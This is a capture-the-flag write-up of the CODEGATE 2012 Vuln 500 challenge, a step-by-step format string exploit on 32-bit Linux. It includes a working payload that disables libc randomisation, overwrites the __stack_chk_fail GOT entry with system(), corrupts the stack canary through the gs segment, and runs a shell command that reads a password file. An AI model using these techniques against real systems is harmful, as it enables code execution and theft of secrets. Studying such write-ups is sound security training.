26
Feb
2012

CODEGATE 2012 – Vuln 500

Vuln500 is a basic format string vulnerability, which is made slightly more interesting by the fact that no functions are called after the printf() call. Dtors are also not called and ASLR is enabled.

First step is to defeat ASLR using a well-known trick:

yesMan@ubuntu:~$ ulimit -s unlimited
yesMan@ubuntu:~$ ldd X
	linux-gate.so.1 =>  (0x4001d000)
	libc.so.6 => /lib/tls/i686/cmov/libc.so.6 (0x40024000)
	/lib/ld-linux.so.2 (0x40000000)
yesMan@ubuntu:~$ ldd X
	linux-gate.so.1 =>  (0x4001d000)
	libc.so.6 => /lib/tls/i686/cmov/libc.so.6 (0x40024000)
	/lib/ld-linux.so.2 (0x40000000)

As you can see the ulimit has effectively disabled randomization of the load address of libc (this only works on 32-bit linux).

Next we must somehow obtain control over EIP. When I said that no function are called after the printf, that was not entirely correct:

...
 80484d3:	8d 44 24 2c          	lea    eax,[esp+0x2c]
 80484d7:	89 04 24             	mov    DWORD PTR [esp],eax
 80484da:	e8 bd fe ff ff       	call   804839c <printf@plt>
 80484df:	b8 00 00 00 00       	mov    eax,0x0
 80484e4:	8b 94 24 2c 01 00 00 	mov    edx,DWORD PTR [esp+0x12c]
 80484eb:	65 33 15 14 00 00 00 	xor    edx,DWORD PTR gs:0x14
 80484f2:	74 05                	je     80484f9 <main+0x85>
 80484f4:	e8 b3 fe ff ff       	call   80483ac <__stack_chk_fail@plt>
 80484f9:	81 c4 38 01 00 00    	add    esp,0x138
 80484ff:	5b                   	pop    ebx
 8048500:	5f                   	pop    edi
 8048501:	89 ec                	mov    esp,ebp
 8048503:	5d                   	pop    ebp
 8048504:	c3                   	ret    

At 0x80484f2 there is a jump that calls __stack_chk_fail if the stack cookie has become corrupted. So if we can corrupt the stack cookie and overwrite the GOT entry for __stack_chk_fail with the address of system(), it will call system() with our format string as an argument (the address of our format string is still on the stack from the printf call before it).

Unfortunately, the ulimit trick does not disable stack randomization, so we don’t know where to write to. We could bruteforce the offset since it’s only 32-bit, but the machine was already slow and there’s no need for that at all.

The stack cookie check compares two values: the value on the stack at [esp+0x12c], and the value which is stored at gs:0x14. We don’t know the location of the first because the stack is randomized, but what about the second?

The gs: prefix means that the value is loaded from memory at offset 0x14 from the base of the gs segment. A format string exploit will write to the ds (data) segment which has a base of 0, and fortunately this segment overlaps the gs segment. So if we make out format string exploit write garbage to base_of_gs_segment+0x14, we will corrupt the stack cookie and call __stk_chk_fail.

As it turns out, the gs base is set by libc at the start of every program using the set_thread_area system call. Using strace we can see this happening:

yesMan@ubuntu:~$ strace ./X
execve("./X", ["./X"], [/* 14 vars */]) = 0
brk(0)                                  = 0x9fed000
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x4001e000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY)      = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=15598, ...}) = 0
mmap2(NULL, 15598, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40020000
close(3)                                = 0
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/tls/i686/cmov/libc.so.6", O_RDONLY) = 3
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0000m\1\0004\0\0\0"..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1405508, ...}) = 0
mmap2(NULL, 1415592, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x40024000
mprotect(0x40177000, 4096, PROT_NONE)   = 0
mmap2(0x40178000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x153) = 0x40178000
mmap2(0x4017b000, 10664, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x4017b000
close(3)                                = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x4017e000
set_thread_area({entry_number:-1 -> 6, base_addr:0x4017e6c0, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0
mprotect(0x40178000, 8192, PROT_READ)   = 0
mprotect(0x8049000, 4096, PROT_READ)    = 0
mprotect(0x4001b000, 4096, PROT_READ)   = 0
munmap(0x40020000, 15598)               = 0
exit_group(0)                           = ?

So 0x4017e6c0 is the base of the gs segment. If you run this a couple of times you will see that this value does not change, so we can reliably use it in the exploit.

Summary of the requirements on the format string exploit:

  1. Write address of system() (0x4005d100) to GOT entry for __stack_chk_fail (0x804a010)
  2. Write garbage over the stack cookie reference value at 0x4017e6c0 + 0x14 = 0x4017e6d4
  3. Make sure the format string is a valid shell command which somehow lets us read the password file

Since we don’t want alignment changing while we’re adjusting the format string, always call the program with an empty environment and a fixed-length argument. We’ll use the env program to clear the environment and the printf program to make a fixed-length argument.

yesMan@ubuntu:~$ env -i ./X "$(printf '%-1024s' '%11$x')"
24313125

This shows that argument number 11 is the start of our format string (hex 24313125 is ascii “%11$”). Since we want to put the pointers to write to in the format string this is useful information. We have to make sure to refer to argument number 11 first in our format string from now on, or out calculated argument offsets will be incorrect. This has to do with how printf parses positional arguments, but let’s not go into that right now.

The arguments we need:

0x0804a010 # pointer to write lower 16 bits of system() address
0x0804a012 # pointer to write upper 16 bits of system() address
0x4017e6d4 # pointer to write garbage to

We also have to make sure the commandline starts with a valid shell command. So let’s start with the shell command, then the argument pointers, and then the format string itself. We will do three writes using %n to these pointers. Before the first and second writes there is a very wide %x to set the low 16 bits of the number of bytes written to the desired value. For the final write we skip this step, since we don’t really care what we write.

yesMan@ubuntu:~$ env -i ./X "$(printf '%-1024s' "$(echo -e 'cat /home/yesMan/password   \x10\xa0\x04\x08\x12\xa0\x04\x08\xd4\xe6\x17\x40%11$53464x%18$n%28421x%19$n%20$n')")" 2>/dev/null | hd
00000000  63 61 74 20 2f 68 6f 6d  65 2f 79 65 73 4d 61 6e  |cat /home/yesMan|
00000010  2f 70 61 73 73 77 6f 72  64 20 20 20 10 a0 04 08  |/password   ....|
00000020  12 a0 04 08 d4 e6 17 40  20 20 20 20 20 20 20 20  |.......@        |
00000030  20 20 20 20 20 20 20 20  20 20 20 20 20 20 20 20  |                |
*
0000d0f0  20 20 20 20 20 20 20 20  32 30 37 34 36 31 36 33  |        20746163|
0000d100  20 20 20 20 20 20 20 20  20 20 20 20 20 20 20 20  |                |
*
00013ff0  20 20 20 20 20 20 20 20  20 20 20 20 20 62 66 39  |             bf9|
00014000  46 6f 72 6d 61 74 5f 53  74 72 69 6e 67 5f 42 75  |Format_String_Bu|
00014010  67 5f 48 75 6e 74 65 72  21 40 23 24 0a 65 65 62  |g_Hunter!@#$.eeb|
00014020  66 37 20 20 20 20 20 20  20 20 20 20 20 20 20 20  |f7              |
00014030  20 20 20 20 20 20 20 20  20 20 20 20 20 20 20 20  |                |
*
000140d0

As you can see this prints the password: Format_String_Bug_Hunter!@#$

Comments are closed.